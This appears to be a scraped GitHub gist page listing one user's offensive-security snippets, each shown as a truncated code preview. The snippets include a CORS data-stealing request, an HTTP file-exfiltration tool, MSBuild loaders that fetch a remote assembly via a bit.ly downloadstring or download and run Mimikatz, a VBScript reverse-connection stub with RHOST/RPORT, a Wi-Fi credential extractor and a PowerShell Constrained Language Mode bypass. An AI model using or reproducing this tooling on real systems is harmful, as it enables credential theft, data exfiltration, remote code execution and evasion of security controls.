Skip to content

Instantly share code, notes, and snippets.

@leoloobeek
leoloobeek / cors-example.js
Last active May 1, 2017 15:00
Simple Curl request to check for CORS misconfiguration
// Evan Johnson - Misconfigured CORS and why web appsec is not getting easier - AppSecUSA 2016
// Stolen from presentation above for quick reference
//curl https://site.com -H "Origin: https://test.com" -I | grep "Access-Control-Allow"
$.ajax({
url: "https://site.com/some/url"
success: function( data ) {
document.write("Key: " data['SOME_VAR']);
@leoloobeek
leoloobeek / httpxfil.go
Created June 15, 2017 22:18
Encrypt and send files over HTTP
package main
// httpxfil
// Leo Loobeek 2017
//
// PowerShell code taken from
// https://github.com/EmpireProject/Empire
//
// Exfiltrate a file by encrypting and
// sending via HTTP/S. This was written
@leoloobeek
leoloobeek / msbuilder.xml
Created July 24, 2017 13:15
MSBuild Execute Assembly From Environment Variable
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuilder.xml -->
<!-- Populate the Env Var like this or many other ways: -->
<!-- $env:TheThingIs = (New-Object Net.Webclient).downloadstring('http://bit.ly/2tDkg2e') -->
<!-- This has the advantage of keeping the assembly out of the xml on disk if it were ever recovered -->
<!-- This is just a simple example... MSBuild is a rich scripting engine with lots of abiltiy to customize the build process -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
@leoloobeek
leoloobeek / katz.xml
Created July 27, 2017 22:54
Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
@leoloobeek
leoloobeek / LoadMethodScanner.ps1
Created July 28, 2017 02:48 — forked from mattifestation/LoadMethodScanner.ps1
A crude Load(byte[]) method scanner for UMCI bypass research
# Author: Matthew Graeber (@mattifestation)
# Load dnlib with Add-Type first
# dnlib can be obtained here: https://github.com/0xd4d/dnlib
# Example: ls C:\ -Recurse | Get-AssemblyLoadReference
filter Get-AssemblyLoadReference {
param (
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String]
[ValidateNotNullOrEmpty()]
/*
---PLEASE NOTE: THIS IS FOR EDUCATIONAL PURPOSES ONLY---
Script to scrape linkedin contacts for a certain company or search
Authors - Erkin Djindjiev (@SeaErkin)
Ryan Bradbury (@rj4yb3)
Instructions -
1) navigate the first page of contacts
2) open your web browser developer tools
3) modify the pageLimit variable to fit the # of pages you'd like to scrape

Keybase proof

I hereby claim:

  • I am leoloobeek on github.
  • I am leoloobeek (https://keybase.io/leoloobeek) on keybase.
  • I have a public key ASCyIsv1dP110VtA9CuMQ7YPLZ758Seyi8O5hu_ww7ZDVgo

To claim this, I am signing this object:

@leoloobeek
leoloobeek / Command.vbs
Created November 6, 2017 23:14 — forked from staaldraad/Command.vbs
Using VBSMeter with Ruler
Call X()
End Function
Dim RHOST: RHOST = "x.x.x.x"
Dim RPORT: RPORT = "8999"
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
@leoloobeek
leoloobeek / Extract-WiFi-Creds.ps1
Created October 3, 2017 02:14 — forked from gfoss/Extract-WiFi-Creds.ps1
Simple script to extract locally-stored Wi-Fi Credentials
#====================================#
# Extract Wi-Fi Credentials #
# greg . foss @ owasp . org #
# v0.1 -- July, 2017 #
#====================================#
# Licensed under the MIT License
<#
function Remove-ConstrainedLanguageMode {
<#
.Synopsis
Set language mode for a powershell session to 'full'.
.Description
Set language mode for a powershell session to 'full'. Leverages 'InstallUtil'
and the Microsoft.Diagnostics.Runtime.dll resouces to adjust in memory values.
.Example